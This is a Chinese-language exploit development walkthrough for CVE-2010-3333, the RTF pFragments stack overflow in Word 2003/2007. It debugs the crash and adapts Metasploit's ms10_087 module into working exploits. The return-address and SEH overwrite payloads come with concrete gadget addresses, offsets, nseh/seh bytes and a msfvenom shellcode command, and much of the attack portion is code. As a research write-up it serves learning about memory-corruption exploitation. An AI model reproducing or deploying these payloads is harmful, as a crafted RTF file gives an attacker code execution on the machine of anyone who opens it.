环境

  • Windows XP SP3中文版
  • Immunity Debugger
  • Office Word 2003中文版 (WINWORD.exe 11.05604)
  • Office Word 2007中文版

漏洞分析

打开word 2003,用Immunity Debugger attach进程,此时在word中打开poc.rtf,程序在30e9eb88处crash了。

image-20200107102315954

!mona info -a edi查看00130000的信息,发现它是只读的,所以程序是写到了只读地址导致了崩溃。

image-20200107102843773

在30e9eb88处下断点,重新来一遍。断下看看复制之前的情况:

30E9EB88 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

esi指向一大段字符串,edi是栈上的地址,ecx=0x322b

image-20200107103453407

image-20200107103601718

image-20200107104147818

exc的值之前经过了右移操作,可以算出本来的值是0xc8ac(后面会提到这个值来自样本)

image-20200107154326159

f9会从esi往edi复制4个字节,ecx减1,按几次看看数据变化,之后f8执行完这一行,程序崩溃,此时ecx=13000,所以栈上从0012a2c4到0012ffff的区域都被覆盖了,显然并没有检查阻止栈溢出的发生。

查看seh的情况,也被覆盖了

image-20200107105203946

此时有两种利用思路,覆盖某个返回地址或者覆盖seh&nseh。

覆盖返回地址

在溢出点断下,看调用栈:

image-20200107105951017

分析得出调用链

1
vuln_parent(30F4CC54) -> vuln_func(30E9EB62) --> 溢出点
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
;; vuln_func
30E9EB62   57               PUSH EDI
30E9EB63   8B7C24 0C        MOV EDI,DWORD PTR SS:[ESP+C] # edi来源于第二个参数
30E9EB67   85FF             TEST EDI,EDI
30E9EB69   74 27            JE SHORT mso.30E9EB92
30E9EB6B   8B4424 08        MOV EAX,DWORD PTR SS:[ESP+8]
30E9EB6F   8B48 08          MOV ECX,DWORD PTR DS:[EAX+8]
30E9EB72   81E1 FFFF0000    AND ECX,0FFFF
30E9EB78   56               PUSH ESI
30E9EB79   8BF1             MOV ESI,ECX
30E9EB7B   0FAF7424 14      IMUL ESI,DWORD PTR SS:[ESP+14]
30E9EB80   0370 10          ADD ESI,DWORD PTR DS:[EAX+10]
30E9EB83   8BC1             MOV EAX,ECX
30E9EB85   C1E9 02          SHR ECX,2
30E9EB88   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] # 溢出点
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
;; vuln_parent
30F4CC54   8365 F8 00       AND DWORD PTR SS:[EBP-8],0
30F4CC58  ^E9 60FFFFFF      JMP mso.30F4CBBD
....
30F4CC86   8D4D F0          LEA ECX,DWORD PTR SS:[EBP-10] # ECX来源于ebp-10
30F4CC89   51               PUSH ECX #vuln_func的第二个参数
30F4CC8A   BB 00000005      MOV EBX,5000000
30F4CC8F   56               PUSH ESI #vuln_func的第一个参数
30F4CC90   895D F4          MOV DWORD PTR SS:[EBP-C],EBX
30F4CC93   FF50 1C          CALL DWORD PTR DS:[EAX+1C] # 此处调用30E9EB62(vuln_func)

追溯到复制时的目的地址edi来源于vuln_parent中的ebp-10,所以只要复制数据长度达到0x14就可以覆盖到vuln_parent函数的返回地址。

大体思路就是这样,后面就是构建和调试exp了。

在metasploit里搜索CVE-2010-3333找到windows/fileformat/ms10_087_rtf_pfragments_bof这个模块,我用它生成样本但没有利用成功,于是找到模块对应文件/opt/metasploit-framework/embedded/framework/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb 来调试,注意修改文件后要在msf中reload一下才能生效。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    # RTF property Array parameters
    el_size = sz_rand() # el_size和el_count都是[0,1,3,7]中的随机一个数
    el_count = sz_rand()

    data = ''
    # These words are presumably incorrectly used
    # assert(amount1 <= amount2)
    data << [0x1111].pack('v') * 2
    data << [0xc8ac].pack('v')   # 这个0xc8ac是复制的长度,ecx移位之前的值


# Craft the array for the property value
    sploit = "%d;%d;" % [el_size, el_count] 
    sploit << data.unpack('H*').first 
    sploit << rest.unpack('H*').first # !!! 复制时esi指向字符串的就是rest的内容

    # Assemble it all into a nice RTF
    content  = "{\\rtf1"
    content << "{\\shp"             # shape
    content << "{\\sp"              # shape property
    content << "{\\sn pFragments}"  # property name
    content << "{\\sv #{sploit}}"   # property value
    content << "}"
    content << "}"
    content << "}"

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(content) # content就是文件内容

上面在注释中标明了文件内容的组成,我们要修改的就是rest这个字符串和0xc8ac这个复制长度,因为我们这里想做的是覆盖返回地址,并不希望复制太长访问到非法地址,但也不用太精确,确保shellcode被复制进去就ok了。

前面我们已经分析好了偏移是0x14,这里按长度填充就好。

用mona找一个jmp_esp的rop gadget:

1
2
!mona config -set workingfolder c:\monalogs\%p_%i # 设定工作目录,后面运行命令会把结果输出到log文件里面,方便搜索
!mona jmp -r esp

最后是这样的:

1
2
3
4
5
6
data << [2000].pack('v') # 复制长度
# jp_esp = 0x302cc4f5 # push esp;retn 8;
jp_esp = 0x300d9359 # jmp esp
# jp_esp = 0x42424242
# rest = "\x00"*5*4+ [jp_esp].pack('V')+Rex::Text.pattern_create(24)
rest = "A"*0x14+ [jp_esp].pack('V')+"\x00"*5*4 + "\x90"*4*4 +shellcode  # this works!

这里调试的时候遇到个坑,我开始选了个push esp;retn 8;的gadget (mona在终端输出的是简略信息,我以为没找到jmp esp),后面发现程序能执行到shellcode,但是过一会就崩溃了,而换成jmp esp后就能成功运行。

我对比了一下,两种情况的区别就是retn 8会从栈上弹出8bytes数据,我当时填充的’\x90’数量不够,eip指向shellcode的时候esp也指向shellcode,而后一种情况eip指向shellcode的时候esp要小一点。

搜索发现了这个链接 , 大致意思就是由于shellcode是用msfvenom生成的,会经过编码,在getpc的过程中需要栈空间,所以多填充nop就能解决这个问题,至于shellcode本身这里就没研究了。

1
msfvenom -p  windows/exec CMD="calc.exe" -b '\x00\x0A' --format ruby

覆盖seh

在溢出点之前断下,看seh的信息:

image-20200107162856488

可以看到seh的地址是0012f904,而我们覆盖的范围一直能到0012ffff,所以是能覆盖到的。

覆盖seh链的利用套路是这样的:

  1. 找一个pop;pop;ret;的gadget(简称为ppr)
  2. 覆盖nseh为\xEB\x06 ,即跳转6个bytes
  3. 覆盖seh为1中的ppr地址
  4. 程序进入异常处理后先执行seh中的指令,之后跳转执行nseh,最后往前跳转到shellcode
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret                    #
# (3) shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial EIP overwrite, SEH leads us back 4-bytes to nSEH                     #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#

ppr可以用mona来找:!mona seh,再算下偏移

image-20200107171148650

1
2
3
4
data << [0xc8ac].pack('v') # 这里希望程序crash掉进入错误处理逻辑,所以用一开始的长度
nseh = "\xeb\x06\x90\x90" 
seh = [0x31055dff].pack('V') # pop; pop; retn 2003 seh works!
rest = "A"*0x5650 + nseh + seh + "\x90"*4*10 + scode # 2003 seh works!

win2007

在win2007中情况基本类似,我把前面覆盖seh的poc稍微改一下就利用成功了,就不多说了

1
2
seh = [0x7347d7b3].pack('V') 
rest = "A"*0x1744 + nseh + seh + "\x90"*4*10 + scode # 2007 seh

参考